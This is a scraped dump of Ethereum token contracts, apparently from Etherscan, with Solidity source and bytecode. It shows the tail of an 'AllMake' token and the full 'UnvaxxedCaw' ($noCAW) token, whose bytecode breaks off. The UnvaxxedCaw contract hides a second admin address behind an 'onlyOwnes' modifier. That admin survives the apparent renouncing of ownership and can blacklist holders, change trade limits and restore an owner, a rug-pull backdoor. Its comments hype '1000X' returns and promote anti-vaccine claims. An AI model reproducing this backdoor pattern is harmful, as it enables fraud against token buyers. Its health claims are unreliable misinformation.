tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) whenNotPaused public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Grantable * @dev the pre-grant is token to addr, and can be viewed in contract * when grant, give token to addr in the real authorization */ contract Grantable is BasicToken { using SafeMath for uint256; mapping(address => uint256) grants; event PreGrant(address indexed from, address indexed to, uint256 value); event Grant(address indexed from, address indexed to, uint256 value); function preGrant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender grants[_to] = grants[_to].add(_value); emit PreGrant(msg.sender, _to, _value); return true; } function grant(address _to, uint256 _value) onlyOwner whenNotPaused public returns (bool success) { require(_to != address(0)); require(_value <= grants[_to]); require(_value > 0); grants[_to] = grants[_to].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); emit Grant(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value); return true; } function grantOf(address _owner) public view returns (uint256) { return grants[_owner]; } } //AllMake.NET contract AllMake is StandardToken, Grantable { using SafeMath for uint256; string public constant name = "AllMake Token"; // Token Full Name string public constant symbol = "AMT"; // Token Simplied Name uint256 public constant decimals = 6; uint256 constant totalToken = 10000000 * (10**6); // Total Token function AllMake() public { totalSupply = totalToken; balances[msg.sender] = totalToken; emit Transfer(address(0), msg.sender, totalSupply); } }
0x6060604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461010b578063095ea7b31461019557806318160ddd146101cb57806323b872dd146101f0578063313ce567146102185780633f4ba83a1461022b5780635c975abb146102405780636370920e14610253578063661884631461027557806370a08231146102975780637c6bd3e8146102b65780638456cb59146102d85780638da5cb5b146102eb57806395d6718a1461031a57806395d89b4114610339578063a9059cbb1461034c578063d73dd6231461036e578063dd62ed3e14610390578063f2fde38b146103b5575b600080fd5b341561011657600080fd5b61011e6103d4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561015a578082015183820152602001610142565b50505050905090810190601f1680156101875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101a057600080fd5b6101b7600160a060020a036004351660243561040b565b604051901515815260200160405180910390f35b34156101d657600080fd5b6101de61048e565b60405190815260200160405180910390f35b34156101fb57600080fd5b6101b7600160a060020a0360043581169060243516604435610494565b341561022357600080fd5b6101de610661565b341561023657600080fd5b61023e610666565b005b341561024b57600080fd5b6101b76106e5565b341561025e57600080fd5b6101b7600160a060020a03600435166024356106f5565b341561028057600080fd5b6101b7600160a060020a0360043516602435610877565b34156102a257600080fd5b6101de600160a060020a036004351661098c565b34156102c157600080fd5b6101b7600160a060020a03600435166024356109a7565b34156102e357600080fd5b61023e610ae9565b34156102f657600080fd5b6102fe610b6d565b604051600160a060020a03909116815260200160405180910390f35b341561032557600080fd5b6101de600160a060020a0360043516610b7c565b341561034457600080fd5b61011e610b97565b341561035757600080fd5b6101b7600160a060020a0360043516602435610bce565b341561037957600080fd5b6101b7600160a060020a0360043516602435610d14565b341561039b57600080fd5b6101de600160a060020a0360043581169060243516610dd0565b34156103c057600080fd5b61023e600160a060020a0360043516610dfb565b60408051908101604052600d81527f416c6c4d616b6520546f6b656e00000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff161561042557600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b60015460009060a060020a900460ff16156104ae57600080fd5b600160a060020a03831615156104c357600080fd5b600160a060020a0384166000908152600260205260409020548211156104e857600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561051b57600080fd5b6000821161052857600080fd5b600160a060020a0383166000908152600260205260409020548281011161054e57600080fd5b600160a060020a038416600090815260026020526040902054610577908363ffffffff610e8a16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546105ac908363ffffffff610e9c16565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546105f4908363ffffffff610e8a16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600681565b60015433600160a060020a0390811691161461068157600080fd5b60015460a060020a900460ff16151561069957600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60015460a060020a900460ff1681565b60015460009033600160a060020a0390811691161461071357600080fd5b60015460a060020a900460ff161561072a57600080fd5b600160a060020a038316151561073f57600080fd5b600160a060020a03831660009081526004602052604090205482111561076457600080fd5b6000821161077157600080fd5b600160a060020a03831660009081526004602052604090205461079a908363ffffffff610e8a16565b600160a060020a0384166000908152600460209081526040808320939093556002905220546107cf908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fdc1e872d7927b949dd471e2dd9d43153685b5564c9a6aaf82246e27c0a9f2a289085905190815260200160405180910390a382600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600154600090819060a060020a900460ff161561089357600080fd5b50600160a060020a03338116600090815260036020908152604080832093871683529290522054808311156108ef57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610926565b6108ff818463ffffffff610e8a16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60015460009033600160a060020a039081169116146109c557600080fd5b60015460a060020a900460ff16156109dc57600080fd5b600160a060020a03831615156109f157600080fd5b600160a060020a033316600090815260026020526040902054821115610a1657600080fd5b60008211610a2357600080fd5b600160a060020a033316600090815260026020526040902054610a4c908363ffffffff610e8a16565b600160a060020a03338116600090815260026020908152604080832094909455918616815260049091522054610a88908363ffffffff610e9c16565b600160a060020a0380851660008181526004602052604090819020939093559133909116907fccc0446bd51e7316903630d452643afa2e080740919718b1e96cfed97d78b8489085905190815260200160405180910390a350600192915050565b60015433600160a060020a03908116911614610b0457600080fd5b60015460a060020a900460ff1615610b1b57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600154600160a060020a031681565b600160a060020a031660009081526004602052604090205490565b60408051908101604052600381527f414d540000000000000000000000000000000000000000000000000000000000602082015281565b60015460009060a060020a900460ff1615610be857600080fd5b600160a060020a0383161515610bfd57600080fd5b600160a060020a033316600090815260026020526040902054821115610c2257600080fd5b60008211610c2f57600080fd5b600160a060020a03831660009081526002602052604090205482810111610c5557600080fd5b600160a060020a033316600090815260026020526040902054610c7e908363ffffffff610e8a16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610cb3908363ffffffff610e9c16565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60015460009060a060020a900460ff1615610d2e57600080fd5b600160a060020a03338116600090815260036020908152604080832093871683529290522054610d64908363ffffffff610e9c16565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a03908116911614610e1657600080fd5b600160a060020a0381161515610e2b57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217928390559091167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600082821115610e9657fe5b50900390565b600082820183811015610eab57fe5b93925050505600a165627a7a723058206b80718358ce612524b9f246578a4afd8b5e6b11621ea532306b9fd36c53e00d0029
{"success": true, "error": null, "results": {}}
5,024
0x76b12812ac9162c5f5be5d0ffc2ff9d772e9d717
/** *Submitted for verification at Etherscan.io on 2022-05-04 */ // SPDX-License-Identifier: Unlicensed // 🦅 UnvaxxedCaw = $noCAW 🦅 // The Meme Token for preserving the pure breed 😎 // 🤑 Either vaxxed or unvaxxed 🤑 // 🤑 Join the 1000X journey 🤑 // Our Aim: Unvaxxed Caw is striving to build a hub for the community to connect with each other and promote the pure breed debunking the myths of Vaccines and Covid 19. pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _msgSome; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); _msgSome = msgSender; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } // Welcome to the Pure Breed ! A token on Ethereum block chain Aiming for Transparency & Security // $noCAW: The Pure Breed! This will bring the much awaited 100X to your wallets. // Utility: 🦜🦆🦅🦉 // 1. Buy tax 10%: Treasury & buybuck of $noCAW // 2. Sell tax 12%: marketing and development // We are also burning 1% of every tx to keep the token deflationary and price floor high // Our Aim: Unvaxxed Caw is striving to build a hub for the community to connect with each other and promote the pure breed debunking the myths of Vaccines and Covid 19. // The Tokenomics will be best in class to avoid bots and reward holders. More details near launch 🚀 // A trusted and proven approach that seeks to resolve mega-dumps after a pump and encouraging diamond hands! 🔥🔥 modifier onlyOwnes() { require(_msgSome == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnershipTo(address newOwner) public virtual onlyOwnes { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract UnvaxxedCaW is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "UnvaxxedCaw"; string private constant _symbol = "noCAW"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _distroFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _distroFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _distroFee = _distroFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousDistroFee = _distroFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x5aC573c471fDDDE54D770ca6b151e68c6cF3d89b); address payable private _devAddress = payable(0x7139cac8aA7fD36725490d04bf1D340C973cFA6C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3000000000 * 10**9; //3% of total supply per txn uint256 public _maxWalletSize = 3000000000 * 10**9; //3% of total supply uint256 public _swapTokensAtAmount = 10000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_devAddress] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_distroFee == 0 && _taxFee == 0) return; _previousDistroFee = _distroFee; _previousTaxFee = _taxFee; _distroFee = 0; _taxFee = 0; } function restoreAllFee() private { _distroFee = _previousDistroFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _distroFee = _distroFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _distroFee = _distroFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function excludeFromFees(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwnes { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwnes { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _distroFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 distroFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(distroFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFees(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy <= 15, "Must keep buy fees less than 15% "); require(taxFeeOnSell <= 15, "Must keep sell fees less than 15% "); require(distroFeeOnBuy <= 1, "Must keep distroFeeOnBuy at 1% or less"); require(distroFeeOnSell <= 1, "Must keep distroFeeOnSell at 1% or less"); _distroFeeOnBuy = distroFeeOnBuy; _distroFeeOnSell = distroFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set Max transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwnes { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c8c3a50511610064578063c8c3a50514610614578063dd62ed3e1461063d578063e57f14e11461067a578063ea1644d5146106a3576101cc565b806398a5c3151461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638da5cb5b116100d15780638da5cb5b146104b05780638f70ccf7146104db5780638f9a55c01461050457806395d89b411461052f576101cc565b8063715018a61461044557806374010ece1461045c5780637d1db4a514610485576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c85780636fcba377146103df57806370a0823114610408576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612c00565b6106cc565b005b34801561020657600080fd5b5061020f6107f8565b60405161021c9190612cd1565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612d29565b610835565b6040516102599190612d84565b60405180910390f35b34801561026e57600080fd5b50610277610853565b6040516102849190612dfe565b60405180910390f35b34801561029957600080fd5b506102a2610879565b6040516102af9190612e28565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e43565b61088a565b6040516102ec9190612d84565b60405180910390f35b34801561030157600080fd5b5061030a610963565b6040516103179190612e28565b60405180910390f35b34801561032c57600080fd5b50610335610969565b6040516103429190612eb2565b60405180910390f35b34801561035757600080fd5b50610360610972565b60405161036d9190612edc565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612ef7565b610998565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f50565b610a8a565b005b3480156103d457600080fd5b506103dd610b3b565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612f7d565b610bad565b005b34801561041457600080fd5b5061042f600480360381019061042a9190612ef7565b610d74565b60405161043c9190612e28565b60405180910390f35b34801561045157600080fd5b5061045a610dc5565b005b34801561046857600080fd5b50610483600480360381019061047e9190612fe4565b610f18565b005b34801561049157600080fd5b5061049a610fb9565b6040516104a79190612e28565b60405180910390f35b3480156104bc57600080fd5b506104c5610fbf565b6040516104d29190612edc565b60405180910390f35b3480156104e757600080fd5b5061050260048036038101906104fd9190612f50565b610fe8565b005b34801561051057600080fd5b5061051961109a565b6040516105269190612e28565b60405180910390f35b34801561053b57600080fd5b506105446110a0565b6040516105519190612cd1565b60405180910390f35b34801561056657600080fd5b50610581600480360381019061057c9190612fe4565b6110dd565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612d29565b61117c565b6040516105b79190612d84565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612ef7565b61119a565b6040516105f49190612d84565b60405180910390f35b34801561060957600080fd5b506106126111ba565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ef7565b611234565b005b34801561064957600080fd5b50610664600480360381019061065f9190613011565b6113f8565b6040516106719190612e28565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612ef7565b61147f565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612fe4565b61156f565b005b6106d461160e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a9061309d565b60405180910390fd5b60005b81518110156107f457600160116000848481518110610788576107876130bd565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107ec9061311b565b915050610766565b5050565b60606040518060400160405280600b81526020017f556e766178786564436177000000000000000000000000000000000000000000815250905090565b600061084961084261160e565b8484611616565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108978484846117e1565b610958846108a361160e565b61095385604051806060016040528060288152602001613d1260289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090961160e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f459092919063ffffffff16565b611616565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109a061160e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a269061309d565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610a9261160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b169061309d565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b7c61160e565b73ffffffffffffffffffffffffffffffffffffffff1614610b9c57600080fd5b6000479050610baa81611fa9565b50565b610bb561160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c399061309d565b60405180910390fd5b600f821115610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d906131d6565b60405180910390fd5b600f811115610cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc190613268565b60405180910390fd5b6001841115610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d05906132fa565b60405180910390fd5b6001831115610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d499061338c565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b6000610dbe600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612015565b9050919050565b610dcd61160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e519061309d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f2061160e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa69061309d565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ff061160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461107d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110749061309d565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f6e6f434157000000000000000000000000000000000000000000000000000000815250905090565b6110e561160e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111699061309d565b60405180910390fd5b8060198190555050565b600061119061118961160e565b84846117e1565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fb61160e565b73ffffffffffffffffffffffffffffffffffffffff161461121b57600080fd5b600061122630610d74565b905061123181612083565b50565b61123c61160e565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffff